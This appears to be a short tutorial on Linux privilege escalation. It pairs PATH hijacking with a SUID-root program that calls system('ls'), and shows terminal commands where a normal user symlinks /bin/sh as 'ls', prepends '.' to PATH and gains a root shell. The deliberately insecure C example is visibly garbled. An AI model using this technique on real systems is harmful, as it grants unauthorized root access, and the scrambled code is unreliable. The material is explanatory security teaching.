Environment variables are sometimes very important when creating new processes. For example, the PATH
variable, that decides what executable to run.
The easiest example to exploit PATH
is to add the current directory .
to the list and overwrite common shell commands with something else.
$ cat ./ls
echo P0wn3d
$ ls
file1 file2
$ ./ls
P0wn3d
$ export PATH=.:$PATH
$ ls
P0wn3d
But that can only affect the user’s shell and can’t do harm to the system. What if some other conditions exist in the system, like the use of the SUID
bit. Normal processes are run as the user who executes them, regardless of who owns the executable file (as long as the user who runs the file can read the file). If the SUID
is set on an executable file, any process started from that executable will run as the owner of the file, not shell owner. Here is an example of a very insecure source that shouldn’t be SUID-ed.
#include<stdlib.h>
int main(void)
{"ls");
system(return 0;
}
Let’s assume that the compiled executable from this code is owned by root, SUID-ed and put into /bin with the name ls_root
.
$ ls -la /bin/ls_root
-rwsrwsr-x 1 root root 7163 2012-03-21 12:28 /bin/ls_root
What this will enable, for example, is the listing of the /root
directory by any user.
$ cd /root
$ ls
ls: cannot open directory .: Permission denied
$ sudo ls
test
$ ls_root
test
The code simply executes the ls
command. But what if the ls
command isn’t doing what it is supposed to do? Given this setup, as a normal user, we can do the following:
$ ln -s /bin/sh ls
$ echo $$
32655
$ ls
ls ls_root.c
$ ./ls
$ echo $$
32730
$ whoami
alexj
$ exit
$ export PATH=.:$PATH
$ ls_root
# whoami
root
#
The ls_root
process will run the ls
command. The ls
command will run an executable specified by the PATH
variable (the executable is /bin/ls
). But if the PATH
variable is changed in the current bash process, the executable ran by the ls
command will now become something else. If the ls_root
command is ran by root (with the help of the SUID
bit), any of its children will also be processes of root. So, if the ls
command will now run a bash executable, it will run a root owned executable that leads to root access.
The SUID
is something that is used in Linux systems (sudo
and even ping
use it), but these executables are very carefully implemented so that normal users can’t exploit them.